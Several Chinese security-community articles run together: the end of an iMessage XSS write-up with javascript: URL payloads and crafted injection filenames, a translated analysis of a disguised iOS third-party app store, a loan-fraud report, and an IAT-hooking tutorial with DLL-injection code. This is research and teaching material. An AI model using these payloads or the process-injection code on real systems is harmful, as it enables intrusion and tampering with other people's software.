javascript://a/research?%0d%0aprompt(1,document.body.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem><chatitem id="p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-last-message-ignore-timestamps="yes" group-first-message-ignore-timestamps="yes"><message guid="p:0/AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" service="imessage" typing-indicator="no" sent="no" from-me="yes" from-system="no" from="B392EC10-CA04-41D3-A967-5BB95E301475" emote="no" played="no" auto-reply="no" group-last-message="yes" group-first-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:24:51" aria-label="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)" title="javascript://a/research?
prompt(1,document.head.innerHTML)">
javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem><chatitem id="s:AE1ABCF1-2397-4F20-A71F-D71FFE8042F5" contiguous="no" role="heading" aria-level="1" item-type="status" receipt-fade="in"><receipt from-me="YES" id="receipt-delivered-s:ae1abcf1-2397-4f20-a71f-d71ffe8042f5"><div class="receipt-container"><div class="receipt-item">已送达</div></div></receipt></chatitem><chatitem id="p:0/43545678-5DB7-4B35-8B81-xxxxxxxxxxxx" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="text" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/43545678-5DB7-4B35-8B81-xxxxxxxxxxxx" typing-indicator="no" sent="no" from-me="no" from-system="no" from="D8FAE154-6C88-4FB6-9D2D-0C234BEA8E99" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:24:51" aria-label="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)"><messagetextcontainer text-direction="ltr"><span style=""><a href="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)" title="javascript://a/research?
prompt(1,document.head.innerHTML)">
javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)</a ></span></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem>
那么关键的触发点:
<a href="javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)" title="javascript://a/research?
prompt(1,document.head.innerHTML)">javascript://a/research?%0d%0aprompt(1,document.head.innerHTML)</a >
就是这个了。 javascript直接进入a标签里的href，导致点击执行。新版本的修复方案是直接不解析javascript:// 。
**三、从老漏洞(CVE-2016-1764)到0day**
XSS的漏洞本质是你注入的代码最终被解析执行了，既然我们看到了document.head.innerHTML的情况，那么有没有其他注入代码的机会呢？首先我测试的肯定是还是那个点，尝试用"及<>去闭合，可惜都被过滤了，这个点不行我们可以看看其他存在输入的点，于是我尝试发个附件看看解析情况，部分代码如下：
<chatitem id="p:0/FE98E898-0385-41E6-933F-8E87DB10AA7E" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="attachment" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/FE98E898-0385-41E6-933F-8E87DB10AA7E" typing-indicator="no" sent="no" from-me="no" from-system="no" from="D8FAE154-6C88-4FB6-9D2D-0C234BEA8E99" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 23:34:41" file-transfer-element="yes" aria-label="文件传输: tttt.html"><messagetextcontainer text-direction="ltr"><transfer class="transfer" id="45B8E6BD-9826-47E2-B910-D584CE461E5F" guid="45B8E6BD-9826-47E2-B910-D584CE461E5F"><transfer-atom draggable="true" aria-label="tttt.html" id="45B8E6BD-9826-47E2-B910-D584CE461E5F" guid="45B8E6BD-9826-47E2-B910-D584CE461E5F">< img class="transfer-icon" extension="html" aria-label="文件扩展名: html" style="content: -webkit-image-set(url(transcript-resource://iconpreview/html/16) 1x, url(transcript-resource://iconpreview/html-2x/16) 2x);"><span class="transfer-text" color-important="no">tttt</span></transfer-atom><div class="transfer-button-container">< img class="transfer-button-reveal" aria-label="显示" id="filetransfer-button-45B8E6BD-9826-47E2-B910-D584CE461E5F" role="button"></div></transfer></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem>
发了个tttt.html的附件，这个附件的文件名出现在代码里，或许有控制的机会。多长测试后发现过滤也比较严格，不过最终还是发现一个潜在的点，也就是文件名的扩展名部分：
<chatitem id="p:0/D4591950-20AD-44F8-80A1-E65911DCBA22" contiguous="no" chatitem-message="yes" role="presentation" display-type="balloon" item-type="attachment" group-first-message-ignore-timestamps="yes" group-last-message-ignore-timestamps="yes"><message guid="p:0/D4591950-20AD-44F8-80A1-E65911DCBA22" typing-indicator="no" sent="no" from-me="no" from-system="no" from="93D2D530-0E94-4CEB-A41E-2F21DE32715D" emote="no" played="no" auto-reply="no" group-first-message="yes" group-last-message="yes"><buddyicon role="img" aria-label="黑哥"><div></div></buddyicon><messagetext><messagebody title="今天 16:46:10" file-transfer-element="yes" aria-label="文件传输: testzzzzzzz"'><img src=1>.htm::16) 1x, (aaa\\\\\%0a%0d"><messagetextcontainer text-direction="ltr"><transfer class="transfer" id="A6BE6666-ADBF-4039-BF45-042D261EA458" guid="A6BE6666-ADBF-4039-BF45-042D261EA458"><transfer-atom draggable="true" aria-label="testzzzzzzz"'><img src=1>.htm::16) 1x, (aaa\\\\\%0a%0d" id="A6BE6666-ADBF-4039-BF45-042D261EA458" guid="A6BE6666-ADBF-4039-BF45-042D261EA458">< img class="transfer-icon" extension="htm::16) 1x, (aaa\\\\\%0a%0d" aria-label="文件扩展名: htm::16) 1x, (aaa\\\\\%0a%0d" style="content: -webkit-image-set(url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\%0a%0d/16) 1x, url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\%0a%0d-2x/16) 2x);"><span class="transfer-text" color-important="no">testzzzzzzz"'><img src=1></span></transfer-atom><div class="transfer-button-container">< img class="transfer-button-reveal" aria-label="显示" id="filetransfer-button-A6BE6666-ADBF-4039-BF45-042D261EA458" role="button"></div></transfer></messagetextcontainer></messagebody><message-overlay></message-overlay></messagetext><date class="compact"></date></message><spacer></spacer></chatitem>
我们提交的附件的后缀进入了style ：
style="content: -webkit-image-set(url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\%0a%0d/16) 1x, url(transcript-resource://iconpreview/htm::16) 1x, (aaa\\\\\%0a%0d-2x/16) 2x);
也就是可能导致css注入，或许我们还有机会，不过经过测试也是有过滤处理的，比如/ 直接被转为了:这个非常有意思
所谓“成也萧何，败也萧何”，如果你要注入css那么肯定给属性给值就得用: 但是:又不能出现在文件名里，然后我们要注入css里掉用远程css或者图片需要用/
而/又被处理了变成了:
不管怎么样我先注入个css测试下，于是提交了一附件名：
zzzzzz.htm) 1x);color/red;aaa/((
按推断/变为了: 如果注入成功应该是
style="content: -webkit-image-set(url(transcript-resource://iconpreview/htm::16) 1x);color:red;aaa:((
当我提交测试发送这个附件的时候，我的iMessage 崩溃了～～
这里我想我发现了一个新的漏洞，于是我升级OSX到最新的系统重新测试结果：一个全新的0day诞生！
**四、后记**
当然这里还有很多地方可以测试，也有一些思路也可以去测试下，比如那个名字那里这个应该是可控制的，比如附件是保存在本地的有没有可能存在目录专挑导致写到任意目录的地方。有需求的可以继续测试下，说不定下个0day就是你的
：）
最后我想说的是在分析别人发现的漏洞的时候一定要找到漏洞的关键，然后总结提炼出“模型”，然后去尝试新的攻击思路或者界面！
**参考链接**
<https://www.seebug.org/vuldb/ssvid-92471> | 社区文章 |
# 【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析
|
##### 译文声明
本文是翻译文章，文章来源：trendmicro.com
原文地址：<http://blog.trendmicro.com/trendlabs-security-intelligence/third-party-app-stores-delivered-via-ios-app-store/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
我们通常会认为iOS生态系统是一个封闭的生态系统，受到Apple的严格控制。然而，攻击者还是有办法能够突破这种限制。读者应该还记得[Haima](http://blog.trendmicro.com/trendlabs-security-intelligence/how-a-third-party-app-store-abuses-apples-developer-enterprise-program-to-serve-adware/)应用，它使用了Apple的企业证书方式来打破限制，但这种方法需要频繁更换证书，代价较为昂贵。
近期，我们观察到了第三方应用开始通过改进技术来突破iOS限制。我们注意到官方的iOS应用商店上有一个第三方应用，该应用伪装成一个合法的记账应用以逃避安全检测，实际上这是一个第三方应用商店，上面提供了具有越狱功能的应用程序。
目前尚不清楚这个恶意应用的确切目标。这个记账应用使用了日语字符集，但应用商店本身是用中文编写的。此外，这个应用可以在多个国家的官方应用商店上找到。
**二、应用初探**
该应用名为“こつこつ家計簿-無料のカレンダー家計簿”，翻译过来就是“家庭记账应用”。该应用表面看来似乎是服务于家庭的财务助手类应用，但实际上是一个第三方应用商店。本文发表时Apple已将其从官方应用商店中移除。
图1. iOS官方应用商店中的家庭记账应用
图2~4. 应用启动的各个阶段截图
应用的代码如图5所示，首次运行时，应用会检查系统用户偏好设置文件中的PPAASSWOpenKey值，利用该值来判断应用是否已在设备上运行过，如果该值不存在，则代表这是首次执行。首次执行时应用会向用户请求数据访问权限来访问第三方应用商店。受制于iOS的权限机制，应用的请求需要用户的授权许可（图2）。权限请求失败后，应用程序跳转到记账视图，伪装为一个合法的应用（图3）。应用在图3中对话框中声明，若要使用信息导出功能，用户需要允许应用的数据访问权限。
图5. 跳转到记账视图的代码
只要应用没被关闭或者转入后台运行，它会始终处于记账视图中。然而，一旦转入到后台运行状态，该应用会再次试图连接第三方应用商店。连接成功后，该应用会向用户呈现第三方应用商店界面（图4）。
这个第三方应用商店作者之所以这么做，主要是希望能够通过官方应用商店为用户提供便捷的分发渠道，虽然这一行为需要通过Apple的严格审查。
**三、安装其他应用**
成功进驻官方应用商店后，这个第三方应用商店还需要具备安装其他应用的能力。为了实现这一目标，应用开发者使用了常见的企业证书签名技术来安装非App
Store应用。
这种技术需要创建一个plist文件来安装应用。图7是plist文件的一个样例（只是个例子，不是第三方应用商店所使用的plist文件）：
图7. plist文件示例
随后，该应用提供如下一个链接：
itms-services://?action=download-manifest&url=https://{web server address}/install_app.plist.
用户访问该URL即可安装应用。如果应用使用Apple证书签名，那么系统会弹框，提示该应用必须存在于用户Apple
ID的购买记录中。这也是为什么这个第三方应用商店需要用户提供Apple ID，以便完成购买过程：
图8~11. 应用安装的各个阶段
图12. 用于创建plist文件和安装链接的代码片段
图13. 用于创建应用安装进程的代码片段
**四、恶意软件分发方式**
除了能够安装官方应用商店中的应用，这个应用商店还可以销售不经过官方应用商店分发的其他应用。不幸的是，这些应用中包含恶意软件以及用户不需要的其他应用。
在此平台销售的一个应用名叫“PG Client”，这是iOS设备上的一个越狱应用。该应用曾经出现在官方应用商店中，现在已被移除。如下图所示。
图14. PG Client应用
其他恶意应用会经常提示用户在电脑上下载PPHelper应用，这也是一个iOS越狱工具。应用在PC或Mac上安装完毕后，会要求用户将设备连接至电脑。PPHelper从连接的设备中读取与用户授权有关的一些文件，并以iTunes身份与设备进行通信，从而有效地绕过了iOS的DRM保护机制。
图15~17. 要求用户连接至电脑端的助手类应用步骤截图
图18~19. 请求用户设备授权的代码
**五、推广其他应用以谋取利益**
我们发现该商店中还存在另一类问题应用，如名为“爱应用助手”的应用。这个应用的功能是推广已在官方应用商店中销售的那些应用。这种推广方式可以绕过Apple的应用搜索排行和[付费搜索广告](http://searchads.apple.com/)选项。这款应用能够借助应用推广方式从开发者身上谋取利益，这些开发者不希望通过Apple的官方推广服务来推广应用。
iOS系统含有丰富的API，便于开发者显示应用程序销售页面。爱应用助手使用这种API，将用户从自身的应用列表引导到被推广应用所在官方商店页面。
图20. 安装推广应用
“爱应用助手”在后台运行，前台窗口显示的是被推广应用在官方应用商店中的页面。相关代码如下所示：
图21. 打开官方应用商店窗口的代码
“爱应用助手”在用户隐私方面存在多个问题。首先，助手在安装过程中会将某些用户属性上传到远程服务器，其中包括广告标识符（advertising
identifier，idfa）属性，这个属性主要用于统计软件的下载次数。
图22. 上传用户属性
此外，助手还使用了名为“TalkingData”的第三方SDK，用来收集与用户行为有关的信息：
图23. 调用TalkingData
这个SDK提供了许多富有侵略性的API接口，其功能包括获取多个用户系统信息（包括Wi-Fi网络名、正在运行的进程信息以及IP地址信息）。如果用户手机已经越狱，这个SDK还可以收集用户的Apple
ID和已安装应用信息。这足以让我们将其判定为潜在非必要应用（potentially unwanted application）。
图24. 其他富有侵略性的API调用
**六、存在的风险及缓解措施**
我们建议用户谨慎下载第三方应用商店中的应用。Apple无法保证第三方应用商店所提供的应用的安全性，用户在这种环境下会面临各种威胁（如恶意软件以及其他不需要应用）。业内组织应该制定政策，如阻止未经批准的应用商店和保护私人设备，以减少这些恶意应用所带来的风险。
在本文发表之前，我们已经将此类应用的存在情况告知了Apple公司。
本文中分析的样本文件特征如下： | 社区文章 |
# 360发布黑灰产研究报告《网络借贷诈骗专项分析》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着金融市场借贷习惯的养成，大量的网贷欺诈事件也时有发生，高额砍头息的“714
高炮”、冒充知名借贷平台等一系列新骗局新手段，给网络借贷诈骗的打击防范带来了全新的挑战。
## 你不知道的网络借贷诈骗
2020年第一季度，360手机先赔共接到手机诈骗举报 **856** 起，涉案总金额高达 **340.2** 万元。在所有诈骗申请中， **金融理财**
占比最高；从 **金融理财** 诈骗的细分项目来看， **网络借贷** 诈骗占比86.4%。
2020年第一季度手机诈骗举报类型与涉案金额分布情况
## 网络借贷诈骗最新骗局揭露
### **案例一：** **借贷者永远偿还不完贷款的 “714 高炮”**
“714高炮”是一种超高息的短期借款，这些平台多以砍头息、滞纳金、手续费等形式，先扣取借款本金的20%-30%，逾期会产生更高的利息费。并有可能碰到恶意催收短信的骚扰。
### **案例二：借贷者永远借不到贷款的网络借贷诈骗**
l使用虚假借贷应用，冒充知名借贷公司
冒充知名借贷平台给用户发送短信，引导安装APP。当用户在平台提现时，如下图显示用户银行账户错误，账户被冻结，要求用户缴费解冻，即使用户按照要求向对方转账，对方还有用户征信不足等一系列话术要求继续转账，到最后也不会给予用户放款。
l以注销贷款为名，引导用户在多个借贷平台申贷，骗取所贷资金
## 网络借贷诈骗泛滥背后的原因
### **一、个人信息泄露严重**
### **二、虚假借贷支撑平台泛滥**
上述资源在互联网各个渠道“野蛮”生长，依托这些成熟资源，批量开发虚假借贷平台已不是技术难题。
### **三、虚假借贷平台推广方式多样**
1.短信群发；
2.黑帽SEO：钻搜索“反作弊”的空子，快速提升虚假借贷APP的收录排名；
### **四、虚假借贷话术剧本多样**
## 黑灰产进阶之路
### **1、传统渠道之短信内容的攻守之道**
方式1：短信内容伪造、内容“混淆”
### **方式2：短信内钓鱼网址伪装**
### **2、从云控应用与子域名群站**
### **3、“第三方在线客服平台”代替传统社交软件，或成孵化诈骗的温床**
## 网络借贷诈骗防范与治理对策
一、个人建立信息保护意识、企业建立客户隐私保护机制
二、平台审核机制规范化，加大二次校验力度
三、全行业加强技术管控、遏制虚假网贷快速发展趋势
四、加强企业内部管理和渠道管控，促进移动转售行业持续健康发展 | 社区文章 |
# 概述：
这篇文章学习的是通过注入方式进行API钩取，在前面的[这篇文章](https://xz.aliyun.com/t/11963)中提到过，注入方式大致分为两类：DLL注入和代码注入。本次将学习的是通过DLL注入钩取目标进程的IAT表来完成API钩取的操作。
## 原理：
在PE文件的结构中的可选文件头内，有一个数据目录的结构体，即：IMAGE_DATA_DIRECTORY，存储了指向IAT结构的指针。那么如果该PE文件没有加壳，我们就可以通过解析该PE文件本身的二进制数据来找到其IAT结构的具体地址。
而我们知道，一个PE文件中所有引用的外部函数的真实地址都存储在IAT中，程序在运行时如果需要调用某个外部函数，就会在IAT表中查找这个函数的真实地址，从而转到相应的位置上进行操作。
例如如果程序中调用了一个外部函数A，它被加载入内存后的真实地址是：0x77C84590，而它的实际地址被存储在IAT中，其在内存中的位置是：0x01001110，那么该程序实际上的调用指令是：
CALL DWORD PTR[01001110]
结合汇编知识可以知道这条指令实际上CALL的是0x01001110这个地址上存储的数据，即：
CALL 77C84590
那么如果我们 **将IAT中存储的某个API函数的实际地址更改为我们自己编写的函数地址**
，那么当程序真正调用这个API函数时我们就可以将程序的执行流劫持到我们自己编写的函数流程中（ **如果对CTF
pwn有所了解的话会发现这个方法与GOT表覆盖的利用手法非常相似** ）。
**在劫持完成后还要根据操作目的对伪造函数的返回操作进行一定的设计**
。比如只是单纯的修改目标函数的参数的话，就要将程序的执行流返回正常的API函数再执行一次，而如果是想要直接截取这个函数的执行流程的话正常返回即可。
# 寻找目标API：
对于API钩取操作来说，重要的操作不只有如何钩取，钩取什么也是一个问题。Windows向用户提供了大量的API函数，经验不足的话是无法直接判断出需要钩取的API函数是什么，所以我们可以借助PE解析工具来查看目标程序的导入函数：
我们本次要完成的操作是将计算器的数字显示从阿拉伯数字更换为汉字，这个操作主要涉及的是界面的显示，所以API函数大概率是属于USER32.dll的，查找一下发现SetWindowTextW正好是完成这个功能的，即设置控件的标题文本。
所以我们本次操作的目标API函数即是SetWindowTextW。
# IATinjectDll.dll:
本部分是需要注入到目标进程中的DLL文件，先给出总的源码及注释：
#include "windows.h"
#include "tchar.h"
#include "stdio.h"
typedef BOOL(WINAPI* PFSETWINDOWTEXTW)(HWND hWnd, LPWSTR lpString); //定义SetWindowsTextW的函数指针
FARPROC g_orgFunc = NULL;
BOOL WINAPI MySetWindowsTextW(HWND hWnd, LPWSTR lpString) //截取原始SetWindowsTextW的字符串并将其修改
{
//wchar_t* cNum = (wchar_t*)L"零一二三四五六七八九";
wchar_t cNum[] = L"零一二三四五六七八九";
wchar_t temp[2] = { 0, }; //temp是一个数组的原因是由于Unicode编码下的一个中文字符使用两个字节存储
int i = 0, len = 0, index = 0;
len = wcslen(lpString);
for (i = 0; i < len; i++)
{
if (L'0' <= lpString[i] && lpString[i]<= L'9')
{
temp[0] = lpString[i];
index = _wtoi(temp);
lpString[i] = cNum[index];
}
}
return ((PFSETWINDOWTEXTW)g_orgFunc)(hWnd, lpString); //将原输入内容修改后返回执行一次正常的WriteFile
}
BOOL IAT_Hook(LPCSTR DllName, PROC OrgFuncAddr, PROC NewFuncAddr)
{
HMODULE hModule = NULL;
LPCSTR szLibName = NULL; //存储指向导入文件的名称的指针
PIMAGE_IMPORT_DESCRIPTOR pImportDesc; //指向IDT的结构体指针
PIMAGE_THUNK_DATA pThunk; //指向Thunk结构的结构体指针
DWORD dwOldProtect; //用于接受页面先前的保护值
DWORD dwRVA;
PBYTE pAddr = NULL;
hModule = GetModuleHandle(NULL); //获取加载该DLL的对应进程的句柄
pAddr = (PBYTE)hModule;
pAddr += *((DWORD*)&pAddr[0x3C]); //找到IMAGE_NT_HEADER的位置
dwRVA = *((DWORD*)&pAddr[0x80]); //找到IMAGE_DATA_DIRECTORY Import的RVA
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hModule + dwRVA); //获取该地址上的PIMAGE_IMPORT_DESCRIPTOR结构体(注意dwRVA是相对偏移，要加上基址)
for (; pImportDesc->Name; pImportDesc++) //遍历IDT中各个导入文件
{
szLibName = (LPCSTR)((DWORD)hModule + pImportDesc->Name); //获取导入文件（DLL）的名称
if (!_stricmp(DllName, szLibName)) //比较导入文件的名字与目标模块的名字是否一致
{
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hModule + pImportDesc->FirstThunk); //找到对应DLL的IAT的地址
for (; pThunk->u1.Function; pThunk++) //遍历IAT表找到目标API函数的地址
{
if (pThunk->u1.Function == (DWORD)OrgFuncAddr)
{
VirtualProtect((LPVOID)&pThunk->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改IAT相对应API函数地址出的内存为可对可写可执行的权限
pThunk->u1.Function = (DWORD)NewFuncAddr; //修改该位置上API函数的地址为我们自定义的新地址
VirtualProtect((LPVOID)&pThunk->u1.Function, 4, dwOldProtect, &dwOldProtect); //恢复该段内存的权限状态
return TRUE;
}
}
}
}
return FALSE;
}
BOOL APIENTRY DllMain( HINSTANCE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//hook过程
g_orgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"), "SetWindowTextW"); //保存目标API函数的原始地址
IAT_Hook("user32.dll", g_orgFunc, (PROC)MySetWindowsTextW); //钩取对应的API函数并将其修改为MySetWindowsTextW的地址
break;
case DLL_PROCESS_DETACH:
//unhook过程
IAT_Hook("user32.dll", (PROC)MySetWindowsTextW, g_orgFunc); //卸载DLL后将IAT中的目标API函数地址改为其初始地址
break;
}
return TRUE;
}
程序的大致流程如下：
1. 设计完成钩取后劫持运行流的伪造函数（MySetWindowsTextW）
2. 完成IAT钩取操作的主要函数（IAT_Hook）
3. 分别完成DLL附加和DLL卸载两个过程中的对应函数操作的主函数（DllMain）
下面将分别对函数流程中比较重要的部分进行分析
## MySetWindowsTextW：
首先来看一下原始的SetWindowsTextW的函数结构：
BOOL SetWindowTextW(
[in] HWND hWnd,
[in, optional] LPCWSTR lpString
);
拥有两个参数：
* hWnd：需要更改其文本的窗口或控件的句柄
* lpString：需要显示的字符串的地址
本次需要完成的操作是将显示的阿拉伯数字更换为汉字，所以我们需要修改需要显示的字符串，也就是lpString这个参数。
下面来看一下实现更改的具体流程：
for (i = 0; i < len; i++)
{
if (L'0' <= lpString[i] && lpString[i]<= L'9')
{
temp[0] = lpString[i];
index = _wtoi(temp);
lpString[i] = cNum[index];
}
}
逻辑非常简单，查询字符具体是哪个阿拉伯数字，再将其作为索引找到前面汉字数组中对应的汉字后完成更改。
这里主要要提一下这个中间数组temp[2]，为什么要设置为两个成员的数组呢？
这是由于Windows下的程序大多采用Unicode编码模式，即一个字符用两个字节来存储，所以需要一个两个字节大小的数据结构来进行存储。
## IAT_Hook：
这是本次操作中最为重要的一个部分，即完成IAT表钩取的具体操作。首先我们要明确如何在二进制数据的角度下来找到IAT表的具体位置。
首先我们要获取我们这个DLL的在内存中加载后的句柄：
hModule = GetModuleHandle(NULL); //GetModuleHandle的参数传入NULL即是获取当前模块的句柄
在Windows编程中， **句柄类似于指针但又不完全与指针相同**
（指针能够完成的操作比句柄多且使用非常自由，而句柄只能用于完成某些特定的操作），而站在二进制数据的角度，我们需要的是这个模块的具体地址，也就是指向其开头位置的一个指针，所以我们要将这个模块句柄转化为一个具体的指针：
pAddr = (PBYTE)hModule
这个指针的指向的位置就是该模块在内存中开始的位置。
之后可以随便打开一个32位的PE文件观察一下：
可以发现DOS头中指向NT头的数据位置是在0x3C的位置上，那么通过前面找到的模块起始地址就可以找到NT头的地址：
pAddr += *((DWORD*)&pAddr[0x3C]);
**注：这里是加上了0x3C上的数据**
由于数据目录数组存在于NT头的尾部，而IMAGE_DATA_DIRCTORY
Import处于该数组的第二个位置上（一个成员大小为8个字节），那么可以算出其与NT头的相对距离是：160h-80h = 80h
即：
dwRVA = *((DWORD*)&pAddr[0x80]); //找到IMAGE_DATA_DIRECTORY Import的RVA
再将这个dwRVA加上模块的基地址即是IMAGE_IMPORT_DESCRIPTOR结构体所在的具体位置：
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hModule + dwRVA);
这里提一下这个
PIMAGE_IMPORT_DESCRIPTOR，这是指向IMAGE_IMPORT_DESCRIPTOR结构体的指针，而这个结构体就是IDT，它在Windows编程中被解释为一个这样的结构体（代码来源：winnt.h）：
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics; // 0 for terminating null import descriptor
DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
} DUMMYUNIONNAME;
DWORD TimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders
DWORD Name;
DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
其中存储了包括IAT以及模块名字等重要数据。
在找到IDT后，我们只需要遍历其Name成员是否与目标DLL（user32.dll）的Name相同即可找到目标DLL的IDT：
for (; pImportDesc->Name; pImportDesc++) //遍历IDT中各个导入文件
{
szLibName = (LPCSTR)((DWORD)hModule + pImportDesc->Name); //获取导入文件（DLL）的名称
if (!_stricmp(DllName, szLibName)) //比较导入文件的名字与目标模块的名字是否一致
{
//
//
//
}
}
再找目标DLL的IDT后，只需要读取其IMAGE_IMPORT_DESCRIPTOR中的FirstThunk成员即可找到其对应的IAT地址，之后只要遍历每一个Thunk中的数据即可找到目标API函数的真实函数地址，这里的Thunk即是IAT中记录每个导入函数的数据的结构体，它在为winnt.h中被解释为一个结构体：IMAGE_THUNK_DATA32，具体的成员如下：
typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString; // PBYTE
DWORD Function; // PDWORD
DWORD Ordinal;
DWORD AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;
需要比较的成员是：Function，即是该API函数的真实地址数据，操作如下：
pThunk = (PIMAGE_THUNK_DATA)((DWORD)hModule + pImportDesc->FirstThunk); //找到对应DLL的IAT的地址
for (; pThunk->u1.Function; pThunk++) //遍历IAT表找到目标API函数的地址
{
if (pThunk->u1.Function == (DWORD)OrgFuncAddr)
{
VirtualProtect((LPVOID)&pThunk->u1.Function, 4, PAGE_EXECUTE_READWRITE, &dwOldProtect); //修改IAT相对应API函数地址出的内存为可对可写可执行的权限
pThunk->u1.Function = (DWORD)NewFuncAddr; //修改该位置上API函数的地址为我们自定义的新地址
VirtualProtect((LPVOID)&pThunk->u1.Function, 4, dwOldProtect, &dwOldProtect); //恢复该段内存的权限状态
return TRUE;
}
其中VirtualProtect函数是用于修改该段内存的读写保护权限，因为要更改其中的数据且要执行，所以必须保证该段内存具有E/R/W的权限，而又因为只需要更改Function这一个成员，所以只需要更改4个字节（DWORD）的内存保护即可。
**注：在修改完数据后要将内存的保护权限更改为原来的值**
## DllMain：
这个函数就是关于DLL文件在载入和卸载过程中需要完成的操作，由于本次操作还要完成DLL卸载后操作，所以在DLL_PROCESS_DETACH事件发生时也会有对应的操作。
由于本次的API钩取只是修改数字的显示，而其他的控件文本要正常显示，所以还要将SetWindowTextW在IAT表中的地址更改回原始地址让其在其他控件的文本操作中能够正常执行，对应操作如下：
BOOL APIENTRY DllMain( HINSTANCE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
//hook过程
g_orgFunc = GetProcAddress(GetModuleHandle(L"user32.dll"), "SetWindowTextW"); //保存目标API函数的原始地址
IAT_Hook("user32.dll", g_orgFunc, (PROC)MySetWindowsTextW); //钩取对应的API函数并将其修改为MySetWindowsTextW的地址
break;
case DLL_PROCESS_DETACH:
//unhook过程
IAT_Hook("user32.dll", (PROC)MySetWindowsTextW, g_orgFunc); //卸载DLL后将IAT中的目标API函数地址改为其初始地址
break;
}
return TRUE;
}
# IATHook.cpp
首先给出完整的源码及注释：
#include "windows.h"
#include "tchar.h"
#include "winbase.h"
#include "stdio.h"
#include "tlhelp32.h"
BOOL EnableDebugPriv() //提权函数
{
HANDLE hToken;
LUID Luid;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
printf("OpenProcessToken failed!\n");
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Luid))
{
CloseHandle(hToken);
printf("LookupPrivilegeValue failed!\n");
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = Luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof tkp, NULL, NULL))
{
printf("AdjustTokenPrivileges failed!");
CloseHandle(hToken);
}
else
{
printf("privilege get!\n");
return TRUE;
}
}
BOOL Inject(DWORD dwPID, LPCTSTR szDllName) //注入DLL
{
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
LPVOID pfRemoteBuf = NULL;
DWORD dwBufSize = (DWORD)(_tcslen(szDllName) + 1) * sizeof(TCHAR);
LPTHREAD_START_ROUTINE pThreadProc;
if (!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)))
{
printf("OpenProcess failed!\n");
return FALSE;
}
pfRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE); //为ThreadProc线程函数的参数分配空间
WriteProcessMemory(hProcess, pfRemoteBuf, (LPVOID)szDllName, dwBufSize, NULL);
